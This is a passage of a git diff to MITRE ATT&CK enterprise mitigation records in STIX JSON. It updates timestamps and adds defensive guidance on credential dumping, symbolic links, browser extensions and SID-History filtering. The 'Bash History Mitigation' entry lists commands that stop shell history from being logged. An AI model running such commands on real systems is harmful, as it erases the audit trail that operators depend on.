--- a/enterprise-attack/course-of-action/course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe.json
+++ b/enterprise-attack/course-of-action/course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--67a74bcf-1528-411a-bad0-110111215364",
+    "id": "bundle--4e823e46-4ada-434d-8171-9f81ae82c450",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--a0d8db1d-a731-4428-8209-c07175f4b1fe",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Uncommonly Used Port Mitigation",
             "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports. \n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612.json b/enterprise-attack/course-of-action/course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612.json
index f2137f9635..66b658fb1a 100644
--- a/enterprise-attack/course-of-action/course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612.json
+++ b/enterprise-attack/course-of-action/course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--62e3e4db-fd29-42fe-b8bf-9e09af069f7e",
+    "id": "bundle--89fd5b00-aeae-46e0-a5a7-50af63895afb",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shortcut Modification Mitigation",
-            "description": "Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)\n\nIdentify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -41,6 +41,11 @@
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "UCF STIG Symbolic Links",
+                    "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.",
+                    "url": "https://www.stigviewer.com/stig/windows%20server%202008%20r2%20member%20server/2015-06-25/finding/V-26482"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad.json b/enterprise-attack/course-of-action/course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad.json
index c004dad18e..70bc3c9364 100644
--- a/enterprise-attack/course-of-action/course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad.json
+++ b/enterprise-attack/course-of-action/course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--87bdadcd-82a1-4592-b38e-05b845994bf2",
+    "id": "bundle--edba04ec-e3eb-4e25-9007-a0f11b3281a6",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Custom Cryptographic Protocol Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7.json b/enterprise-attack/course-of-action/course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7.json
index b00440a116..fe80557dd8 100644
--- a/enterprise-attack/course-of-action/course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7.json
+++ b/enterprise-attack/course-of-action/course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--1f9a5649-60a9-4e43-a6ed-d6684b4a4ff8",
+    "id": "bundle--6a4fce7b-3e11-4356-9f90-9394622725a4",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--a766ce73-5583-48f3-b7c0-0bb43c6ef8c7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Cryptographic Protocol Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Use of encryption protocols may make typical network-based C2 detection more difficult due to a reduced ability to signature the traffic. Prior knowledge of adversary C2 infrastructure may be useful for domain and IP address blocking, but will likely not be an effective long-term solution because adversaries can change infrastructure often. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a.json b/enterprise-attack/course-of-action/course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a.json
index 64593e2c87..51c4274d1e 100644
--- a/enterprise-attack/course-of-action/course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a.json
+++ b/enterprise-attack/course-of-action/course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--17fde3b4-012d-42d4-b8fa-d7052135abd0",
+    "id": "bundle--b54b348c-609e-4eb6-a389-fdf344e0f76b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regsvcs/Regasm Mitigation",
             "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d.json b/enterprise-attack/course-of-action/course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d.json
index 7171835699..fc0676144c 100644
--- a/enterprise-attack/course-of-action/course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d.json
+++ b/enterprise-attack/course-of-action/course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--ef817aad-9389-4386-b9bf-31ae7afbafa1",
+    "id": "bundle--e00fcf43-e62f-4e33-a7ce-f85fe51d77ed",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Graphical User Interface Mitigation",
             "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5.json b/enterprise-attack/course-of-action/course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5.json
index b5a7c45be3..b53cfe2afe 100644
--- a/enterprise-attack/course-of-action/course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5.json
+++ b/enterprise-attack/course-of-action/course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--936862eb-f6e5-4e2e-b6cd-1077180c1e09",
+    "id": "bundle--9af6aa0e-1eb4-4ca7-ba5b-a935c1b08a18",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--ac008435-af58-4f77-988a-c9b96c5920f5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "NTFS Extended Attributes Mitigation",
             "description": "It may be difficult or inadvisable to block access to EA. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to hide information in EA by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--ace4daee-f914-4707-be75-843f16da2edf.json b/enterprise-attack/course-of-action/course-of-action--ace4daee-f914-4707-be75-843f16da2edf.json
index 8ebe2cb6ab..7839461fca 100644
--- a/enterprise-attack/course-of-action/course-of-action--ace4daee-f914-4707-be75-843f16da2edf.json
+++ b/enterprise-attack/course-of-action/course-of-action--ace4daee-f914-4707-be75-843f16da2edf.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--1f5c245e-1d58-4286-a820-a8d00865ff5f",
+    "id": "bundle--4cfdb910-71c3-4257-a326-01145ca760b5",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bash History Mitigation",
             "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\n<code>set +o history</code> and <code>set -o history</code> to start logging again;\n<code>unset HISTFILE</code> being added to a user's .bash_rc file; and\n<code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0.json b/enterprise-attack/course-of-action/course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0.json
index 872fd8d868..eca81d406b 100644
--- a/enterprise-attack/course-of-action/course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0.json
+++ b/enterprise-attack/course-of-action/course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--827d56cb-4481-4c6e-8f98-ea32b7976411",
+    "id": "bundle--bd54ff73-b044-4f8e-861a-76c8de45350b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--addb3703-5a59-4461-9bcd-7e2b5d4e92a0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Standard Application Layer Protocol Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a.json b/enterprise-attack/course-of-action/course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a.json
index 5b192997c8..1a5ac589f0 100644
--- a/enterprise-attack/course-of-action/course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a.json
+++ b/enterprise-attack/course-of-action/course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--ccbfabb6-60d0-4cad-8edb-1aed2036bc66",
+    "id": "bundle--6999e9b0-d915-4b6f-a7a8-2bb1336dd643",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--aeff5887-8f9e-48d5-a523-9b395e2ce80a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Credential Dumping Mitigation",
-            "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)",
+            "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using Valid Accounts if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -55,6 +55,21 @@
                 {
                     "source_name": "GitHub SHB Credential Guard",
                     "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017."
+                },
+                {
+                    "source_name": "AdSecurity DCSync Sept 2015",
+                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
+                    "url": "https://adsecurity.org/?p=1729"
+                },
+                {
+                    "source_name": "Microsoft Replication ACL",
+                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
+                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr"
+                },
+                {
+                    "source_name": "Microsoft Disable NTLM Nov 2012",
+                    "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.",
+                    "url": "https://technet.microsoft.com/library/jj865668.aspx"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8.json b/enterprise-attack/course-of-action/course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8.json
new file mode 100644
index 0000000000..fa497ebc74
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--3aa9e09f-74c4-4c2c-9688-de6e33e617f5",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--b52f41b9-ccf6-4da7-a6c0-167eeb71fbd8",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Browser Extensions Mitigation",
+            "description": "Only install browser extensions from trusted sources that can be verified. Ensure extensions that are installed are the intended ones as many malicious extensions will masquerade as legitimate ones.\n\nBrowser extensions for some browsers can be controlled through Group Policy. Set a browser extension white or black list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)\n\nChange settings to prevent the browser from installing extensions without sufficient permissions.\n\nClose out all browser sessions when finished using them.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1176",
+                    "external_id": "T1176"
+                },
+                {
+                    "source_name": "Technospot Chrome Extensions GP",
+                    "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.",
+                    "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab.json b/enterprise-attack/course-of-action/course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab.json
index f42634e113..3f23fc1c59 100644
--- a/enterprise-attack/course-of-action/course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab.json
+++ b/enterprise-attack/course-of-action/course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--02a6a6e8-e4cb-474f-91d3-0539d198cc51",
+    "id": "bundle--91c1d89a-24be-4708-b2db-a324b7355ffd",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--b7b2c89c-09c1-4b71-ae7c-000ec2893aab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "New Service Mitigation",
             "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only  authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445.json b/enterprise-attack/course-of-action/course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445.json
index e4e8b7c62f..84e401f73e 100644
--- a/enterprise-attack/course-of-action/course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445.json
+++ b/enterprise-attack/course-of-action/course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--8e0c6c76-a443-4a39-8024-f5320e1bf189",
+    "id": "bundle--4d830d01-91e5-4de7-9678-83f1dbaa7ff3",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--b8d57b16-d8e2-428c-a645-1083795b3445",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Communication Through Removable Media Mitigation",
             "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55.json b/enterprise-attack/course-of-action/course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55.json
new file mode 100644
index 0000000000..c69b819eb7
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55.json
@@ -0,0 +1,38 @@
+{
+    "type": "bundle",
+    "id": "bundle--c9d8b92d-3b48-405e-92e2-b0d46e3648f8",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SID-History Injection Mitigation",
+            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nApply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.\n\nApply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.\n\nEnsure SID Filter Quarantining is enabled on trusted external domains (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1178",
+                    "external_id": "T1178"
+                },
+                {
+                    "source_name": "Microsoft SID",
+                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
+                },
+                {
+                    "source_name": "Microsoft Netdom Trust Sept 2012",
+                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc835085.aspx"
+                },
+                {
+                    "source_name": "Microsoft Trust Considerations Nov 2014",
+                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc755321.aspx"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee.json b/enterprise-attack/course-of-action/course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee.json
index 8dc978a7fc..38923f0dc1 100644
--- a/enterprise-attack/course-of-action/course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee.json
+++ b/enterprise-attack/course-of-action/course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--c8422441-9130-4d3e-8ce5-038e5e24d93e",
+    "id": "bundle--e13cc440-904b-4710-b493-3308839c1b10",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Transfer Size Limits Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf.json b/enterprise-attack/course-of-action/course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf.json
index 176c89ba2c..dba0b6bbe9 100644
--- a/enterprise-attack/course-of-action/course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf.json
+++ b/enterprise-attack/course-of-action/course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--9816b013-76e4-4e65-8238-c424234ebb60",
+    "id": "bundle--f6aebb39-ded8-4a6f-b6f8-16b4f8444381",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--ba2ec548-fb75-4b8c-88d6-d91a77a943cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Management Instrumentation Mitigation",
             "description": "Disabling WMI or RPCS may cause system instability and should be evaluated to assess the impact to a network.  By default, only administrators are allowed to connect remotely using WMI. Restrict other users who are allowed to connect, or disallow all users to connect remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--bcc91b8c-f104-4710-964e-1d5409666736.json b/enterprise-attack/course-of-action/course-of-action--bcc91b8c-f104-4710-964e-1d5409666736.json
index 08bc688f57..c2f6e969a0 100644
--- a/enterprise-attack/course-of-action/course-of-action--bcc91b8c-f104-4710-964e-1d5409666736.json
+++ b/enterprise-attack/course-of-action/course-of-action--bcc91b8c-f104-4710-964e-1d5409666736.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--7d83d72f-a7f8-4de1-ac5b-cc5c0436cc09",
